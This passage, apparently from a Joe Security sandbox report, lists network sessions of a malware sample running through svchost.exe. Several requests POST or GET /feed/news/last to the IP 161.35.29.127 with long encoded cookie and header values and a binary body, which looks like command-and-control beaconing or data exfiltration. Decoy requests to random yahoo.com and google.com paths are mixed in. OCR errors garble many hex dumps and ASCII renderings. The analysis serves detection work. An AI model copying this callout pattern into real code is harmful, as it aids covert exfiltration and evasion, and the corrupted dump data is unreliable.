3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 32 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:32 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 7572 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 33 70
52 70 6d 6e 71 38 6e 61 71 74 66 65 56 6d 79 66 76 25 32 66 6¢ 35 6e 72 6d 75 71 6¢ 66 77 64 64 78 55 75 37 37 68 6b
6e 33 69 7a 6d 32 37 38 36 34 34 6e 73 73 68 6b 25 32 66 48 36 75 76 73 32 6a 67 7a 35 6d 6f 79 6f 69 78 36 73 33 5a

34 6f 75 64 70 6f 74 38 37 76 77 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b
0Oa 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3¢

Data Ascii: <html><meta charset='utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2f3pRpmng8naqtfeVmyfv%2flsnrmuglfwddxUu77hkn3izm278644nsshk%2fH6uvs2jgz5moyoix6s3Z4oudpo
t87vw%2f';if(window!=window.top){ document.write('<

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:54:32 UTC 1094

2021-09-28 07:54:32 UTC 1096

2021-09-28 07:54:34 UTC 1103

Session ID Source IP

92 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:33 UTC 1099

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
50055

Direction
ouT

Data

POST /feed/news/last HTTP/1.1

Cookie: HSID=Fdt6xzC9sT4K8ghMIDC|3%2FiwaENJ%2BSY90RvVOK703Xi2wXLeNCDEw2Grlus5xtsHFAVURYg5ny
7%2B%2B09x%2BzTTINIKzfcIJ8bWB9YYIE1rbs%2F2Wvw7LWQqjlUmG%2FH42TZpw6pghk7Vk9JAdmaUF62kCTWxpjpW
hDDVuzW%2BgklIFplglJfP2XtnEwZgDX4nwILV8%2FNVHANObyHIDdF4tk9QZAuhxRaaOpObVYkU9u9g2m1g0Q%2FLn
7EglzyRxjZa2nSeDiWnqoxq25CbGfv0eWwhb6EfCsKIrrjuOkyPScAJ5KZ8NLhplrEaxfT1SrSzImGsEKfHm{SeqNI
Lsx7TAi20FGOOvg%3D%3D;SIDCC=sNZ7bPoCEoGFazZgvQYz%2FdbZskN8LY5n6CxhmxQupll2X5M36u%2F4v%2Fj6S
3Z9fPdG%2FrVibtv3Xi09BXQm40xqYH5BIal%2FVXmyilPIzB2SgKUI1ZtrG7d18wzQDUotP%2FNYWeA9L10x5%2BA
GLZf1mCk6ECONS%2Binz7il8xCIGibotuloJMqu2NYwYWuCnLUfXhA4orWOvgLWPYPT3UA1l4dGCAQmsiyp2fh7S8Z
hEU6%2FTWDPLhvKPZZWeUemStA2gDWOcWLRGPRDxHe22aVgQxhQw%2BTmgBFTckCkhOXy8PO50CRK%2F
sUsBKUWa76Yi9orHsRN6WbE6GN%2BYNNvJII1rZT2FTI3g%3D%3D;SID=sn8MFRQcSw2FyrfsGIVVTj5tNiONIgfDQV
Y30G35yzRA06hINMSecG7c2ulCriTe4HVOmPQOhOVSae2Dngcg OX%2BfOR6ffogkm64fMAiI19Y4pLZoow0DVU1%2F|
6f%2BMLX0v8YXZHbh%2BnmyY Xp8zXJUgPLeRrB4%2BDwo0oNiije6pvzeDHgnJ%2FagRnvcLutwVBwMUe62sTr21P1
d69%2Fc%2F Dksh%2BULCBNngTBJIEzZJIMO11qOFxUweC3nCzZ0b3%2FNIwmrFnaT8E50JAnKgPDyNbikF
LGcXz0zwDWPMRS8E%2BJ7FxjwNW1W7rrHYUwdeNLzJIRFOUJD%2FFfUtABU%2B6ymitaMpSIpQ%3D%3D;
SSID=s1MNk4mNT|NiL%2FvLtOjxZIXcVyJ9eOMpMB8W%2BH7foafEgr8feJpJiNaesfsFpPVmMLG5%2FAMPJIzP%2F48
sf60IsSX2TKINZMHcp0O7c90xQ4RGoclb8fFQ4yKTEWoykMY3wOnnzjmOiXMimPUIVOY SoUmQuPhsv8xiBQcgTs2JS
nfXf%2FYYFWX09GXxuAWbbN8OS5julPnecI8FtiwbpcZfUbEkckluHmx1uThOH6NrHIIk73deUP1g2z%2F TtwMtrHly
4ueP5SKg6dHYZdUA2krQY6Mnfl9CixKBoWOFmMNvuMgcNNyhC4jjixYerjoeMBIsyntMOxBr%2F%2Bmeh4xfZFaz1C4
0gw%3D%3D;

X-Tag: kA4CsPsagNICR4nu2bZuO1SyjCI8lvcLndFdv3PqYzuLMysh1fSDDgeuZ%2BtvP%2FeXr%2ByyiiAr9IWJ
ant2iaz5736PshFOoB5t08DYfVfHdMaufMKOgVoFN30AMMunTv7IWVweR29BQnZ6U2aNxIlyw9WBMdDFOGezSBAIVF
8F7DEqsGZqac3rkv2vHetgsuUS2rsqvzXm029joivugA%2BgDCXMNEFoxBFZvGBALdIYKuVIY4mn%2B9%2Bfb1gADs
2pfxQfuEWe8Z9yIJNEPMAWWFx0bKgDyO4v3ZG6tvBhL6jlhy8dk%2BPNPnGTiReUjZ6hF%2BCAqoRVJ%2
FOwewwLFNZrO8K7zA%3D%3D

X-Csrf-Token: AsEj3WQyZJEXCAlaRkSwihnl%2By3u9mTSiOMORDLFPIRZIHNWz91X%2BNXQQdmrtlrAU%2FmGSx
Fllabz8s0i95QK1RdjgAS7de%2BkYwhjgJri2LOfd01G6b509x%2FT%2Be3dzn2aPYNPIpjUHkc%2F%2FDLj14x%2Fy
%2BvnmgpbPuulJqU3c13igRCWsxMPhU4GbZs%2F1Mp8AgLgJ1nEhcPoDgO9x55QJU1j7xHPwroZMD%2Fv
r6Y2gGiUWGUQmBY pejzZe3fLnyq2IVaufT896RpCEEPkwyObEyNdOKAN2M310IMesZsD5xGZM8PM871zYRnZegADGo
DaKTHO20COPBpPOXW0%2FaQZlek2fR5Q%3D%3D

X-Request-I1D: bkXgt06Bm95PxhgOqd7WaMOhHhRDMCx6Sff65jgKSeUp0Qj2yBLGRKHCIWjhxAFc30lhYhedXsMk
L%2FiFQqZIIUmTBOHs60m02QJgKNPI0RHzvSA%2FHJydPMBzYYwO6hDzj3bVkDy3a6WRslcKIwLGPerxXZgjLB3P53u
6RazCtoYwbXbjmYTow9W380IxdKA%2Fal.283YghFOHWhvnOyntOGJrfbqfRzyWToDhGAGt10erveNfdfkRdHscY3P5
xurMahR%2BUj3DEOM%2Bvv4voyqErCDK9i9BOx9r5yF047Dkuk5nWJjZ62WsMkIsxrgSp0Pn8k26n3hBOMHOKjQhSh
13uelQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 68 19 2f ¢5 e0 e7 8b 01 7b d8 59 ef b7 84 ff b6 86 41 02 7c 59 88 da 81 56 35 ae 32 50 fc cc 57 3f 76 07 Oc c8
81 1b a8 fe 30 fd a2 41 19 29 6e 95 1c 55 65 19 08 a6 aa d3 cd 58 15 38 3¢ 9b 87 e7 53 96 3¢ 34 09 Oc e4 c6 e4 b2 2d a9
1e c2 b3 aa bf 61 d7 ae 15 03 2c d7 35 b6 1a 50 54 19 7c dd 8e al 18 9 66 d5 cb 6d 70 df 7b 5d 1d 54 9b 98 99 8e b3 f1
ce af fd da 74 37 8b 89 92 a3 5¢ 64 7b 3 06 86 9b 53 a4 8a fe f6 97 21 46 b4 Oc e6 ac 4a Of 72 00 40 f2 15 d1 53 04 fe 36
a8 ce 8a 11 85 59 7d 58 €8 3d b7 55 1b 27 9b a4 d5 8 ab e0 6d 49 4a af 2¢ 04 1a 2¢ da b3 e0 e2 67 29 dO ef dd 83 29 65
31 a0 c6 01 ed c3 22 cb 9b 94 90 96 45 69 12 3 86 4 29 d8 12 07 f2 ¢1 82 e4 b1 17 d9 87 51 9b c8 d6 fb df ¢5 87 {7 8d
€8 72 d4 2e 24 55 10 3d ea c3 61 4a 1a 83 42 66 20

Data Ascii: W{YA|YV52PW?2v0A)nUeX8<S<4-a,5PT|imp{ITt7\d{SIFIr@S6Y}X=UmlJ, g))el"Ei0)Qr.$U=alBf

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:54:34 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP  Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /67MIxP14aGQtQlos9/fjFgjj3qw7f2ck3Aj2881p6wb3gjoqjF3yulkazr/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:33 UTC 1099

2021-09-28 07:54:33 UTC 1100

2021-09-28 07:54:33 UTC 1101

Session ID Source IP

93 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:33 UTC 1101

2021-09-28 07:54:33 UTC 1101

2021-09-28 07:54:33 UTC 1102

2021-09-28 07:54:33 UTC 1103

Copyright Joe Security LLC 2021

Direction

IN

Source Port
50056

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:32 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 686

Age: 1

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=bprlqupgl5ihp&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 33 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:33 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 36 37
4d 6¢ 78 50 31 34 61 47 51 74 51 6¢ 6f 73 39 25 32 66 66 6a 46 67 6a 6a 33 71 77 37 66 32 63 6b 33 41 6a 32 38 38 31
7036 77 62 33 71 6a 6f 71 6a 46 33 79 75 31 6b 61 7a 72 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e

64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69
732063 7572 72 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢ 61

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2f67MIxP 14aGQtQlos9%2ffjFgjj3qw7f2ck3Aj2881p6wb3gjoqjF3yulkazr%e2f'if(window!=window.top){
document.write('<p>Content is currently unavaila

Destination IP Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /mss4pspXhns23h7IEfLQ/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1582

Date: Tue, 28 Sep 2021 07:54:33 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6€ 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
def{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin
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Session ID Source IP

94 192.168.2.3
kBytes
Timestamp transferred

2021-09-28 07:54:35 UTC 1104

2021-09-28 07:54:37 UTC 1120

2021-09-28 07:54:37 UTC 1121

Session ID Source IP

95 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:35 UTC 1106

Copyright Joe Security LLC 2021

Source Port

50061

Direction

ouT

Source Port
50063

Direction
ouT

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data

GET /feed/news/last HTTP/1.1

Cookie: HSID=yslIAYZuQgRbFDMM8QK4R6BafCEwW48wo1HzZWyiOPMzjnaOKD7bF6%2Bw5rdH%2F6ZUghDThGNs%2F
cf2LRXbbGyZhdVSLTmYoWTuPmtPz13UOfr900IH7AK1TN3f4Uk1WdVB%2FzeykF4frTDUSNNreLWEX5IfpJLxQItz6
tfig2cVhm%2FaA8uFmelOFslz7fNmzPfLzLh4VRLBhylJZyQnclSgY2uoMJSXTOvNs4EuharU2vBrwPZxM%2BzO0Wf
mcc7RR39xwRx5ea4j%2FM%2BUB9uSx2tbexh14MK5bsDt6BTK{74JQTu%2FyhjDb%2Focj9ColhGLHcyH1wgEgsFb7
jirHIhOeBmSKCHw%3D%3D;SIDCC=a%2F81BDei2UQSn83dL3DY %2FruTFNs8iXpfzijNJhce4oqXkHWBXEYS7797vg
%2F7wJ3txVpnswhiBdWs%2Fy0Z4eM9RsmiY9Z2bx7GXRVwyclPGZH%2FN%2Bzuey%2FUsy2V470s4sKg2ytlviWzOF
pRKNY1EB9YxUvsrYkxw3z29hgJ6 1HBWnUX6LKHs%2BQVAJR3cBZAOVQ1gQpRtd%2FZ9LpdV2C2VFSIdX06CoWNa3pN
RINOFRyUnu4ky2AGnFDIaKRTgqj8WVIVuny2dOOdtnFFIgswOwle23%2FBjNvsf8CqYo7W1IFWG86UWBQIXhleOU5w
zU7CsidRLbyNIq%2BA96444TJfdLiMig%3D%3D;SID=1uZY7Tz7tsgVNpBKPwBPBirk2vOoscdDoVDLsjHMomAfuhA
tXnF3HUg2JzmWR8jPjvMV9IEKFnffe5sWiwwzUiMDjoFvuVaSJk8ZIWyuYCKW4gsMkhLSQPfzMO5H1ImZcwU9x%2BV7n
zK7SMu4wezCx0WvOR1ZwJIX4%2FSwG9hpdyqfC9SK8debilWGKqtd3fg8YJqYjZoACIc7XywsHHnh3eYCoFDzU9ZCl%
2FWfgM2leZcdsRZgUBS5KbfiTAFeCW8KmHXzHBgbTmyDkx64mpQQIb6BVSuQ1SjPPIhMg3GPKgWK5I0t0bmX9nsFYD%
2FIVENM38sLgNonVDgbaGRi5dM0Se9UpQ%3D%3D;SSID=anJsola8rQ65bxEDXxA5wf72hhTgocy1Av906q5RSG7%2
FZgyllIKoNpzzi061Lep3ANgr29D%2FK2AXjOtIDMyqCbOkJ48UIB6zUHMbNBUihdOWzjiFrTNehMePHyfGrJG7VF0Q
fIDD3bnSIbKE%2FU0780VrzRk6ullOfNTYBDBVDPicaK70FZwZawO9smLjinKbQH5pgk71%2FbwfAIPILBNCQOICNQ
SrIJVWILDiy0ijm2Y12RmTfrVXRH1QINLwjq7Bd9QHVpalofZcRw21Bpn6iy TtO%2FIJWKRPPfDneezz9fLFInmrj%2B
X7ExcTUaTzlkhaVW3e7JGvG%2FKyrXxjBgQ1Yk33Q%3D%3D;

X-Tag: P2tBJYYUMhbBUViVRLIGj5WXKDu3b%2B37KWTrwiH9OKkjj23cRy8%2BnjG%2F7JoXF5EGtMd7nMm7MyORoy
XI13WcpyON2hTUylpQagqVoP2XwXtng5xzoTptXRERVQQY Z5L6xFk0kqVej0q9gB6kPFtFKZmJIoRWBQPGiSonmKmhzr
RAWJYy3NXJhRwUgZ1c1F8PU1lhlynKZe7ZBNd%2FwpW%2BkYhxkwasvCyVRgaEMX1EXIxo7FEZQdKoNSgTnClv2pc34y
p202i0hDvj%2FSruXqU6fxamb0YWM,|CYI9LibKJ1cgInluNg2znyGeenFGH2x9BqBpadkuy61qlkWiKtalps10J19L
9%3D%3D

X-Csrf-Token: ECR5ycku76xHlahpdkEWvCpGvucInnELz3xa%2Bq10TJuszH4DzT%2Fu0kZZqOwOtCVSH12q7Ids
LRKRVePCzgfBIiY22I8PQ4A0t94I18 1RWXIjOyi7mkXNARjg%2B5De GHZhagMAzSoBbWsazqzL 45wDGa86jngNFnz0k
3xp6BhuAsBnOSwnIghS2ChtzUJ6svoY0s%2Bd6YnyNw2%2BgdnogibVWCNxXfCyR8s7pmPsnhgXU31ul8%2F%2B4LQ
xkxcDesUUEOWPE40ngy9fV5DmMEZXx%2Bs|LyqRzS%2B2busnrx8SSGIbV3MQgQYEIEN2AWKXzIuD8a9VivV%2Bq7nnH
VOF6952%2Bul9n6Tmw%3D%3D

X-Request-ID: DTZb%2Bz2V4snKar2u43XSMOghjbSZ3zii2i7DtIh6LsYsVwRk1ga5fpiPLO9hdVXE7XgicoPxgrs5nHgJzgANbj
VOVib6rTG3LDNCLH6p5Qr9UXSPLAIOH2fPKjwi9PVU1c8xScc8X436dtG21sxPOkqlQMITIS7TEY%2FpFM3nmNzhljs
%2BjgK%2Fgyt%2F2XX0u2Vhjo0jl%2BMHNpF70qd%2FIXMUOUK63IwIZjBRmxJpgP969SYLTYQDGcM8q6OKIPq7KSV
fW31SpNA804M3I6dImtbBKWHGAQIt4IrursN1AUYgf5Gho78RAIKXOL3QVCXsI564XpDtyl EAYi%2FQughH074JJI
mQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Content-Length: 2

Connection: close

Date: Tue, 28 Sep 2021 07:54:37 GMT

Set-Cookie: pSID=XXjWhpgk8YNgIRrTMgMpL10cFCgTaGHYUYI7YIITXPbAFZxIMUzsR1pOloHO8vw1dkjkTVrME
SGqOVUGBRKtUXYJKNGOthyAzHT0i7QitRBsmIWKMgEFk7V3inr7NxorbOxovMj8llaY0a33n6KONGaEjlY PkMPW2K2
ejWnUZTpZn1FOLz6BCNzrgce1RUZIaTIOOjhaOUT5mRnyXekeS6B3PPcuch3ngAmPNIDDTVAGjMFDaOtDzXGkzoy33
484

Set-Cookie: SVALUE=false

Set-Cookie: actual=false

Set-Cookie: query4=e5ZI8CsRPnmMNarL

Set-Cookie: ndata=4PHQZWpR%2FYbm%2BBbsaXXKrdoFVsPbk6%2Fubd8lO5jKTB9jI7U3AVKLIB5pWOjF1OEPbg
n3SLycmWnT7QgmK%2FAxcY7WsgtLKOznQpRGURGXDPC58CnVck%2F8qSkv5fMgIBDXARGa27z11sw5%2
BPMg1RjD2FeELK8jVKilhsW3RTto3rNfoDeb%2Bpw1tWN01%2FrRKpvID%2FXLK4r%2Bc%2FgcDIh9WYD3wl08b1%
2Bg6HpGKKIDIRpj8LTX78FP8Vxsrj3p9u%2BvOUZXXY6X1HkaAKEWGcdIsKia RhHHW%2BqVzjjlB3UWQLNNQtpz 7T
B5cxx4gQQKYdloQf7QbArFTUzIGboeby6bJG1A%3D%3D

Set-Cookie: bdata=9AdWdf850adg1UudYNCOG5Q9uHjLHIVHSSWWrWdQXPD4WYvBd300QDSgOmiDCFkBUJ4SL4pE
RbmpSwCLviglflusMOBG6J0Zk6Img3008iTCpmz62kk10HdIA2veuqCrfZuLArlGvnjYgrl5YZ0JRN5b7AIWXNCnOq
c8UO0SBIjk2Rk4fJI1Ir7iLIN3nrUktIGDWY 7yYbSuQsw07UNTsI1PAOBUPENL3eYyShjvJcsin1HLTe2g9ZAqR3tZ048uzNu
X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 4f 4b
Data Ascii: OK

Destination IP Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /0wmgim0Td84uqgpWvzrgoDm/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:35 UTC 1107

2021-09-28 07:54:35 UTC 1108

2021-09-28 07:54:35 UTC 1108

Session ID Source IP

96 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:36 UTC 1109

2021-09-28 07:54:36 UTC 1109

Copyright Joe Security LLC 2021

Direction

IN

Source Port
50066

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:35 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 610

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=3n9p5clgl5ihr&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 35 20 47 4d 54
